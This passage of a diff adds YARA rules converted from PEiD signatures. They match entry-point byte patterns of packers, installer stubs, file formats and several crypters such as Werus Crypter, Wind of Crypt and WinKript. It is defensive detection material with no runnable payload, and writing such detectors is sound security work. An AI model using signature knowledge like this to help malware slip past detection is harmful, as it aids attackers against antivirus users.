+        $a = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40}
+    condition:
+        $a
+}
+
+rule PEiD_03451_Werus_Crypter_1_0____Kas_
+{
+    meta:
+        description = "[Werus Crypter 1.0 -> Kas]"
+        ep_only = "false"
+    strings:
+        $a = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 A8 10 40 00 FF 25 B0 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_03452_WIBU_Key_V4_10A____WIBU_SYSTEMS_AG___Sign_by_fly_
+{
+    meta:
+        description = "[WIBU-Key V4.10A -> WIBU-SYSTEMS AG ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {F7 05 ?? ?? ?? ?? FF 00 00 00 75 12}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03453_Wind_of_Crypt_1_0___by_DarkPressure_
+{
+    meta:
+        description = "[Wind of Crypt 1.0 - by DarkPressure]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03454_Wind_of_Crypt_1_0___by_DarkPressure_
+{
+    meta:
+        description = "[Wind of Crypt 1.0 - by DarkPressure]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF 0F 84 A6 00 00 00 6A 00 53 E8 41 EA FF FF 8B F0 81 EE 00 5E 00 00 6A 00 6A 00 68 00 5E 00 00 53 E8 52 EA FF FF B8 F4 97 00 10 8B D6 E8 2E E7 FF FF B8 F8 97 00 10 8B D6 E8 22 E7 FF FF 8B C6 E8 AB D8 FF FF 8B F8 6A 00 68 F0 97 00 10 56 A1 F4 97 00 10 50 53 E8 05 EA FF FF 53 E8 CF E9 FF FF B8 FC 97 00 10 BA E8 51 00 10 E8 74 EA FF FF A1 F4 97 00 10 85 C0 74 05 83 E8 04 8B 00 50 B9 F8 97 00 10 B8 FC 97 00 10 8B 15 F4 97 00 10 E8 D8 EA FF FF B8 FC 97 00 10 E8 5A EB FF FF 8B CE 8B 15 F8 97 00 10 8B C7 E8 EB E9 FF FF 8B C7 85 C0 74 05 E8 E4 EB FF FF 33 C0 5A 59 59 64 89 10 68 D5 51 00 10 8D 45 EC E8 BB E5 FF FF C3 E9 A9 DF FF FF EB F0 5F 5E 5B E8 B7 E4 FF FF 00 00 00 FF FF FF FF 0A 00 00 00 63 5A 6C 56 30 55 6C 6B 70 4D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03455_Windows_Animation_format_
+{
+    meta:
+        description = "[Windows Animation format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 41 43 4F 4E 4C 49 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_03456_Windows_Type_1_font_metric_file_
+{
+    meta:
+        description = "[Windows Type 1 font metric file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 ?? ?? 00 00 43 6F 70 79 72 69 67 68 74 20}
+    condition:
+        $a
+}
+
+rule PEiD_03457_WinKript_1_0____Mr__Crimson__h__
+{
+    meta:
+        description = "[WinKript 1.0 -> Mr. Crimson (h)]"
+        ep_only = "false"
+    strings:
+        $a = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03458_WinKript_v1_0____Mr__Crimson__h__
+{
+    meta:
+        description = "[WinKript v1.0 -> Mr. Crimson (h)]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03459_Winkript_v1_0_
+{
+    meta:
+        description = "[Winkript v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03460_WinRAR_32_bit_SFX_Module_
+{
+    meta:
+        description = "[WinRAR 32-bit SFX Module]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03461_WinUpack_v0_30_beta____By_Dwing__h__
+{
+    meta:
+        description = "[WinUpack v0.30 beta -> By Dwing (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03462_WinUpack_v0_30_beta____By_Dwing_
+{
+    meta:
+        description = "[WinUpack v0.30 beta -> By Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02}
+    condition:
+        $a
+}
+
+rule PEiD_03463_WinUpack_v0_39_final__relocated_image_base_____By_Dwing__c_2005__h2__
+{
+    meta:
+        description = "[WinUpack v0.39 final (relocated image base) -> By Dwing (c)2005 (h2)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 1C B1 30 8B 5D 0C 03 D1 FF 16 73 4C 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 18 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 38 FF 56 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03464_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03465_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03466_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03467_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 ?? 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03468_WinUpack_v0_39_final____By_Dwing_c_2005_
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing c)2005]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03469_WinZip__32_bit__6_x_
+{
+    meta:
+        description = "[WinZip (32-bit) 6.x]"
+        ep_only = "true"
+    strings:
+        $a = {FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03470_WinZip_32_bit_SFX_v6_x_module_
+{
+    meta:
+        description = "[WinZip 32-bit SFX v6.x module]"
+        ep_only = "true"
+    strings:
+        $a = {FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03471_WinZip_32_bit_SFX_v8_x_module_
+{
+    meta:
+        description = "[WinZip 32-bit SFX v8.x module]"
+        ep_only = "true"
+    strings:
+        $a = {53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03472_WinZip_Self_Extractor_2_2_personal_edition____WinZip_Computing__h__
+{
+    meta:
+        description = "[WinZip Self-Extractor 2.2 personal edition -> WinZip Computing (h)]"
+        ep_only = "true"
+    strings:
+        $a = {53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03473_Wise_Installer_Stub_1_10_1029_1_
+{
+    meta:
+        description = "[Wise Installer Stub 1.10.1029.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45}
+    condition:
+        $a
+}
+
+rule PEiD_03474_Wise_Installer_Stub_v1_10_1029_1_
+{
+    meta:
+        description = "[Wise Installer Stub v1.10.1029.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45 E8 8A 08 80 F9 2F 74 2B 84 C9 74 1F 80 F9 3D 74 1A 8A 48 01 40 EB F1 33 F6 84 C9 74 D6 80 F9 20 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03475_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03476_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF 89 45 FC 0F 84 7B 01 00 00 8D 85 90 FC FF FF 50 56 FF 15 28 20 40 00 8D 85 98 FE FF FF 50 53 8D 85 90 FC FF FF 68 10 30 40 00 50 FF 15 24 20 40 00 53 68 80 00 00 00 6A 02 53 53 8D 85 98 FE FF FF 68 00 00 00 40 50 FF D7 83 F8 FF 89 45 F4 0F 84 2F 01 00 00 53 53 53 6A 02 53 FF 75 FC FF 15 00 20 40 00 53 53 53 6A 04 50 89 45 F8 FF 15 1C 20 40 00 8B F8 C7 45 FC 01 00 00 00 8D 47 01 8B 08 81 F9 4D 5A 9A 00 74 08 81 F9 4D 5A 90 00 75 06 80 78 04 03 74 0D FF 45 FC 40 81 7D FC 00 80 00 00 7C DB 8D 4D F0 53 51 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03477_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20}
+    condition:
+        $a
+}
+
+rule PEiD_03478_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20 75 09 47 80 3F 20 74 FA 89 7D ?? 53 FF 15 ?? 40 40 00 80 3F 2F 89 45 ?? 75 ?? 8A 47 01 3C 53 74 04 3C 73 75 06 89 35}
+    condition:
+        $a
+}
+
+rule PEiD_03479_WWPACK_v3_00__v3_01__Extractable__
+{
+    meta:
+        description = "[WWPACK v3.00, v3.01 (Extractable)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 6A ?? 06 06 8C D3 83 ?? ?? 53 6A ?? FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03480_WWPACK_v3_00__v3_01__Relocations_pack__
+{
+    meta:
+        description = "[WWPACK v3.00, v3.01 (Relocations pack)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03481_WWPACK_v3_02__v3_02a__Extractable__
+{
+    meta:
+        description = "[WWPACK v3.02, v3.02a (Extractable)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03482_WWPACK_v3_02__v3_02a__v3_04__Relocations_pack__
+{
+    meta:
+        description = "[WWPACK v3.02, v3.02a, v3.04 (Relocations pack)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03483_WWPACK_v3_03_
+{
+    meta:
+        description = "[WWPACK v3.03]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03484_WWPACK_v3_05c4__Extr__Passw_check__Vir__shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extr. Passw.check. Vir. shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03485_WWPACK_v3_05c4__Extractable___Password_checking__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extractable + Password checking)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03486_WWPACK_v3_05c4__Extractable___Virus_Shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extractable + Virus Shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03487_WWPACK_v3_05c4__Extractable__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extractable)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03488_WWPACK_v3_05c4__Modified__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Modified)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03489_WWPACK_v3_05c4__Unextr__Passw_check__Vir__shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextr. Passw.check. Vir. shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03490_WWPACK_v3_05c4__Unextractable___Password_checking__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextractable + Password checking)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03491_WWPACK_v3_05c4__Unextractable___Virus_Shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextractable + Virus Shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03492_WWPACK_v3_05c4__Unextractable__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextractable)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03493_WWPack32_v1_00__v1_11__v1_12__v1_20_
+{
+    meta:
+        description = "[WWPack32 v1.00, v1.11, v1.12, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03494_WWPack32_v1_x_
+{
+    meta:
+        description = "[WWPack32 v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03495_X_Hider_1_0____GlobaL_
+{
+    meta:
+        description = "[X-Hider 1.0 -> GlobaL]"
+        ep_only = "true"
+    strings:
